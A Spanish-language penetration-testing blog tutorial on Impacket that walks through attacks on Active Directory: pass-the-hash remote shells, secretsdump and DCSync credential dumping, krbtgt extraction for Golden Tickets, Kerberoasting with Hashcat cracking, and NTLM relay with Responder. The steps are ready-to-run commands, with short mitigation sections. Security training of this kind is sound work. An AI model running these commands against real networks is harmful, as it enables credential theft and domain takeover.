Impacket pruebas de penetración en entornos Active Directory y Windows

 

https://www.onlinetis.com

Impacket pruebas de penetración en entornos Active Directory y Windows

Impacket es una colección de clases en Python para trabajar con protocolos de red (SMB, MSRPC, NTLM, Kerberos, etc.) esencial en auditorías de seguridad y pruebas de penetración en entornos Active Directory y Windows.

En Kali Linux, los scripts de Impacket están preinstalados y se invocan añadiendo el prefijo impacket- al nombre del comando (o ejecutando el script directamente con .py).

Scripts principales por categoría

1. Ejecución remota de comandos

Utilizados para obtener un shell o ejecutar comandos en un host remoto donde se poseen credenciales o hashes válidos.

  • impacket-psexec: Permite obtener un shell interactivo con privilegios SYSTEM mediante la creación de un servicio en la máquina remota (similar al PsExec original).

  • impacket-wmiexec: Ejecuta comandos mediante Windows Management Instrumentation (WMI). Es más discreto que PsExec porque no crea servicios temporales.

  • impacket-smbexec: Ofrece ejecución remota utilizando el servicio Native Windows SMB sin subir un ejecutable al disco.

  • impacket-atexec: Ejecuta comandos en un sistema remoto aprovechando el servicio del Programador de tareas (Task Scheduler).

2. Extracción de credenciales y hashes

  • impacket-secretsdump: Una de las herramientas más potentes del suite. Extrae secrets remotos sin ejecutar agentes:

    • Hashes NTLM de la base de datos SAM local.

    • Secrets de LSA (contraseñas en texto claro de servicios, autologons, etc.).

    • Base de datos completa del Dominio (ntds.dit y claves de cifrado).

  • impacket-samrdump: Lista usuarios, hashes y detalles de cuenta a través del protocolo SAMR.

3. Ataques a Kerberos y Active Directory

  • impacket-GetUserSPNs: Realiza Kerberoasting. Identifica cuentas de usuario que tienen un Service Principal Name (SPN) asignado y solicita un ticket TGS que se puede crackear offline con Hashcat o John the Ripper.

  • impacket-GetNPUsers: Realiza AS-REP Roasting. Busca usuarios de Active Directory que tienen deshabilitada la preautenticación Kerberos (DONT_REQ_PREAUTH) para extraer hashes de respuesta AS-REP.

  • impacket-ticketer: Genera tickets falsos en Kerberos, permitiendo la creación de Golden Tickets (control total del dominio) o Silver Tickets (acceso a un servicio específico).

  • impacket-getST: Obtiene un Service Ticket (TGS) mediante delegación Kerberos restringida o impersonación de usuarios.

4. Intercepción y Relay

  • impacket-ntlmrelayx: Intercepta intentos de autenticación NTLM (vía SMB, HTTP, WPAD, etc.) y los retransmite (relay) hacia otros servicios (SMB, LDAP, MSSQL, IPv6) para ejecutar comandos o volcar credenciales.

Ejemplos de uso rápido

1. Obtener shell remoto con wmiexec (usando contraseña):

Bash
impacket-wmiexec dominio.local/usuario:'contraseña'@192.168.1.50

2. Obtener shell remoto pasando el hash NTLM (Pass-the-Hash):

Bash
impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 dominio.local/administrador@192.168.1.50

3. Volcar los hashes ntds.dit de un Controlador de Dominio:

Bash
impacket-secretsdump -just-dc-ntlm dominio.local/administrador:'contraseña'@192.168.1.10

4. Buscar cuentas vulnerables a Kerberoasting y guardar hashes:

Bash
impacket-GetUserSPNs -request -dc-ip 192.168.1.10 dominio.local/usuario:'contraseña' -outputfile hashes_spn.txt

5. Buscar usuarios vulnerables a AS-REP Roasting (sin necesidad de credenciales válidas si conoces la lista de usuarios):

Bash
impacket-GetNPUsers -dc-ip 192.168.1.10 -usersfile usuarios.txt dominio.local/ -format john


El Kerberoasting es una técnica de post-explotación en entornos Active Directory. Permite a cualquier usuario autenticado del dominio solicitar un ticket de servicio Kerberos (TGS) para una cuenta que tenga un Service Principal Name (SPN) registrado. Como la respuesta del ticket TGS viene cifrada con la clave del usuario del servicio (su contraseña), un atacante puede extraer ese hash y romperlo offline sin levantar alarmas por intentos fallidos de inicio de sesión.

Aquí tienes la guía completa paso a paso, desde la recolección con Impacket hasta el crackeo con Hashcat.

1.Fase de Reconocimiento y Extracción de Tickets:Requiere credenciales válidas de cualquier usuario del dominio.

El primer paso es identificar las cuentas que tienen SPN asociados y solicitar los tickets TGS cifrados con RC4/AES.

Ejecuta el siguiente comando en tu máquina Kali Linux:

Bash
impacket-GetUserSPNs -request -dc-ip  /:'' -outputfile hashes_kerberoast.txt

Parámetros:

  • -request: Le indica a la herramienta que no solo liste los SPN, sino que solicite activamente los tickets TGS para guardarlos.

  • -dc-ip: La dirección IP del Controlador de Dominio (Domain Controller).

  • <DOMINIO>/<USUARIO>:'<PASSWORD>': Credenciales de cualquier cuenta estándar del dominio.

  • -outputfile: Guarda los hashes extraídos directamente en un archivo de texto en formato listo para Hashcat/John.

2.Análisis del Hash Generado:Identifica el algoritmo de cifrado para elegir el modo en Hashcat.

Abre el archivo generado para verificar su contenido:

Bash
cat hashes_kerberoast.txt

El formato del hash suele comenzar por $krb5tgs$23$*... (si es krb5tgs-rc4-etime, el más común para crackear) o $krb5tgs$17$*... / $krb5tgs$18$*... (si utiliza cifrado AES-128 o AES-256).

3.Ataque por Fuerza Bruta u Diccionario con Hashcat:Se realiza offline en tu propia máquina atacante.

Con el archivo de hashes listo, utiliza Hashcat para intentar adivinar la contraseña en texto claro.

Para cifrado Kerberos 5 TGS (RC4 / etype 23):

Bash
hashcat -m 13100 hashes_kerberoast.txt /usr/share/wordlists/rockyou.txt --force

Para cifrado Kerberos 5 TGS (AES-256 / etype 18):

Bash
hashcat -m 19700 hashes_kerberoast.txt /usr/share/wordlists/rockyou.txt --force

Parámetros de Hashcat:

  • -m 13100: Especifica el tipo de hash (Kerberos 5, etype 23, TGS-REP).

  • hashes_kerberoast.txt: El archivo con los hashes extraídos.

  • /usr/share/wordlists/rockyou.txt: El diccionario que usaremos para el ataque.

4.Obtención del Resultado:Muestra la contraseña una vez encontrada.

Si la contraseña del usuario de servicio estaba presente en el diccionario, Hashcat la mostrará al finalizar la ejecución. Si ya habías ejecutado el comando antes, puedes consultar las contraseñas recuperadas añadiendo el parámetro --show:

Bash
hashcat -m 13100 hashes_kerberoast.txt --show

¿Por qué funciona y cómo mitigarlo?

  • ¿Por qué funciona?: Kerberos por diseño entrega un ticket TGS cifrado a cualquier usuario autenticado que pida acceso a un servicio, independientemente de si tiene permisos reales para consumir ese servicio o no.

  • Mitigación:

    1. Usar contraseñas largas (más de 25 caracteres) o cuentas de servicio administradas por grupo (gMSA - Group Managed Service Accounts), las cuales rotan automáticamente contraseñas complejas.

    2. Forzar el uso de cifrado AES256_HMAC en lugar de RC4_HMAC_MD5 para dificultar la velocidad de crackeo de Hashcat.


El ataque de NTLM Relay consiste en interceptar un intento de autenticación NTLM enviado por una máquina víctima y retransmitirlo (relay) en tiempo real hacia otro servidor de la red donde el usuario o equipo interceptado tenga privilegios elevados.

A diferencia del crackeo de hashes, en NTLM Relay no necesitas adivinar la contraseña: usas la propia sesión autenticada del objetivo en vivo.

Requisitos previos

  1. SMB Signing deshabilitado en las máquinas destino (o no requerido), lo cual es la configuración por defecto en estaciones de trabajo Windows.

  2. Que la cuenta víctima cuyo tráfico interceptas tenga permisos de Administrador Local en el equipo destino donde haces el relay.

  3. Estar en el mismo segmento de red local (LAN) para capturar el tráfico LLMNR/NBT-NS/mDNS o usar técnicas de coerción (como PetitPotam, CoercedPotato o PrinterBug).

1.Paso 1: Identificar objetivos vulnerables (SMB Signing Disabled):Usa CrackMapExec o NetExec para escanear el segmento de red.

Debes buscar equipos de la red que tengan el firmado de SMB (SMB Signing) en estado FALSE.

Bash
nxe smb 192.168.1.0/24 --gen-relay-list targets.txt

O con CrackMapExec:

Bash
crackmapexec smb 192.168.1.0/24 --gen-relay-list targets.txt

Este comando escaneará la subred y guardará en targets.txt únicamente la lista de direcciones IP que no exigen firmado SMB y que son aptas para recibir el relay.

2.Paso 2: Configurar Responder:Responder intercepta el tráfico, pero ntlmrelayx se encarga del reenvío.

Debes desactivar los servidores SMB y HTTP internos de Responder para que no respondan ellos mismos a las peticiones y permitan que impacket-ntlmrelayx tome el control de esos puertos.

Abre el archivo de configuración en Kali:

Bash
sudo nano /etc/responder/Responder.conf

Cambia las opciones SMB y HTTP a Off:

Ini, TOML
[Responder Core]
...
HTTP = Off
SMB = Off

Guarda los cambios y cierra el archivo.

3.Paso 3: Iniciar impacket-ntlmrelayx:El motor que procesará y retransmitirá los desafiadores NTLM.

Inicia la herramienta pasándole la lista de servidores destino. Puedes elegir entre ejecutar comandos o lanzar un shell SOCKS.

Opción A: Ejecutar un comando (ej. Dumping de SAM o ejecución de comando):

Bash
impacket-ntlmrelayx -tf targets.txt -smb2support -e "powershell -e "

Opción B: Volcado interactivo de credenciales SAM (por defecto si no pasas -e):

Bash
impacket-ntlmrelayx -tf targets.txt -smb2support

Opción C: Crear un proxy SOCKS para usar con Proxychains:

Bash
impacket-ntlmrelayx -tf targets.txt -smb2support -socks

Nota: Deja este proceso corriendo en una ventana de la terminal.

4.Paso 4: Iniciar Responder para capturar tráfico:Envenena peticiones LLMNR/NBT-NS no resueltas en la red.

En una segunda terminal, ejecuta Responder para empezar a envenenar la red. Cuando algún usuario o equipo intente acceder a un recurso compartido inexistente (ej. \\servidor_error), Responder redirigirá la autenticación hacia tu IP.

Bash
sudo responder -I eth0 -dwv
  • -I eth0: Tu interfaz de red.

  • -d: Habilita respuestas DHCP/DNS.

5.Paso 5: Ejecución del Relay:Espera a la víctima o fuerza la autenticación.

Cuando una víctima envíe sus credenciales NTLM:

  1. Responder captura la petición y se la pasa a ntlmrelayx.

  2. ntlmrelayx retransmite el desafío y la respuesta hacia la IP listada en targets.txt.

  3. Si la retransmisión es exitosa, ntlmrelayx volcará los hashes SAM locales del objetivo o ejecutará la orden indicada.

Mitigaciones contra NTLM Relay

  • Habilitar SMB Signing obligatoriamente mediante GPO (Require Security Signature).

  • Deshabilitar protocolos legados: Desactivar LLMNR y NBT-NS en la red mediante Directivas de Grupo.

  • Habilitar EPA (Extended Protection for Authentication) para servicios HTTP e IIS.

  • Deshabilitar NTLM y forzar únicamente el uso de Kerberos en el entorno.


impacket-secretsdump es la herramienta estándar para la extracción remota de secretos en Windows sin necesidad de ejecutar agentes o malware en el objetivo. Su verdadera potencia reside en combinar sus filtros avanzados con la técnica Pass-the-Hash (PtH), que permite autenticarse usando únicamente el hash NTLM sin conocer la contraseña en texto claro.

1. El concepto: Pass-the-Hash (PtH)

En el protocolo de autenticación NTLM, el servidor valida la identidad del usuario mediante un desafío/respuesta basado en el hash NTLM de la cuenta. Como el hash en sí mismo actúa como prueba de identidad, no es necesario descifrar la contraseña para autenticarse o ejecutar acciones administrativas.

En cualquier herramienta de Impacket, el hash NTLM se pasa mediante el parámetro -hashes:

Plaintext
-hashes LMHASH:NTHASH

Consejo: Si no tienes el hash LM (hoy en día en desuso), debes poner un string de 32 ceros o dejar el hueco antes de los dos puntos: 00000000000000000000000000000000:NTHASH o simplemente :NTHASH.

2. Opciones avanzadas de impacket-secretsdump

secretsdump puede volcar la base de datos SAM local, los secrets de LSA, las credenciales almacenadas en la caché (NTDS.DIT) o claves Kerberos dpapi. Utiliza los siguientes flags para ajustar el comportamiento:

A. Filtrado de extracción en Controlador de Dominio (NTDS.DIT)

Al auditar un DC con miles de usuarios, un volcado completo de la base de datos ntds.dit genera archivos masivos y puede saturar el ancho de banda.

  • -just-dc-ntlm: Extrae únicamente los hashes NTLM (omite secretos Kerberos, la historia de contraseñas y otros atributos).

  • -just-dc-user <USUARIO>: Descarga únicamente la información y hashes de una cuenta específica (útil para auditar un Administrador o la cuenta krbtgt).

  • -history: Incluye el historial de contraseñas anteriores almacenadas en el dominio.

  • -pwd-last-set: Muestra la fecha en la que cada usuario cambió su contraseña por última vez.

B. Técnicas de extracción en el Domain Controller

  • -use-vss: Utiliza el servicio Volume Shadow Copy (VSS) para crear una copia de sombra del archivo ntds.dit. Es más lento pero suele ser necesario si el archivo está bloqueado.

  • -ntds: Método por defecto; utiliza llamadas al protocolo DRSUAPI (Directory Replication Service Remote Protocol), simulando un proceso de replicación legítimo entre controladores de dominio (técnica conocida como DCSync).

C. Análisis local mediante archivos offline

Si ya has exfiltrado manualmente la colmena del registro o la base de datos NTDS:

Bash
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY local
impacket-secretsdump -ntds ntds.dit -system SYSTEM local

3. Combinando secretsdump con Pass-the-Hash (Casos prácticos)

Caso 1: Extracción remota de SAM y LSA en un servidor local

Tienes el hash NTLM del usuario Administrador Local (31d6cfe0d16ae931b73c59d7e0c089c0) y quieres volcar la SAM de un servidor miembro:

Bash
impacket-secretsdump -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 Administrador@192.168.1.50

Caso 2: Ataque DCSync completo a un Controlador de Dominio

Si obtienes el hash NTLM de una cuenta con privilegios de replicación (como Domain Admin o cuentas en el grupo Replicator), puedes hacer un DCSync silencioso sin tocar el disco del DC:

Bash
impacket-secretsdump -just-dc-ntlm -hashes :a9f23789b2513a890d982189a03b5f12 dominio.local/admin_domain@192.168.1.10

Caso 3: Extraer únicamente la cuenta krbtgt para un Golden Ticket

Para crear un Golden Ticket en Kerberos solo necesitas el SID del dominio y el hash NTLM de la cuenta krbtgt:

Bash
impacket-secretsdump -just-dc-user krbtgt -hashes :a9f23789b2513a890d982189a03b5f12 dominio.local/admin_domain@192.168.1.10

Caso 4: Reutilizar el hash recuperado con impacket-wmiexec

Una vez que secretsdump te devuelve los hashes del resto de usuarios o del Administrador de Dominio, puedes usar de inmediato otra herramienta de Impacket con PtH para ganar acceso interactivo:

Bash
impacket-wmiexec -hashes :c83893e43343a411516f4ef68e82a613 dominio.local/administrador@192.168.1.10

Resumen de sintaxis completa

Bandera / OpciónDescripción
-hashes LM:NTPermite la autenticación usando Pass-the-Hash.
-just-dc-ntlmFiltra el dump de NTDS para volcar solo hashes NTLM.
-just-dc-user <usr>Vuelca datos únicamente para el usuario especificado.
-outputfile <prefijo>Guarda la salida procesada en varios archivos de texto (SAM, NTDS, Kerberos).
-use-vssForzado de extracción mediante Shadow Copy en lugar de DRSUAPI.

https://www.onlinetis.com

Entradas populares de este blog

Hacking y ciberseguridad en kali linux con Fping

Hacking y ciberseguridad en kali linux con atk6-thcping6

Como utilizar Fierce en kali linux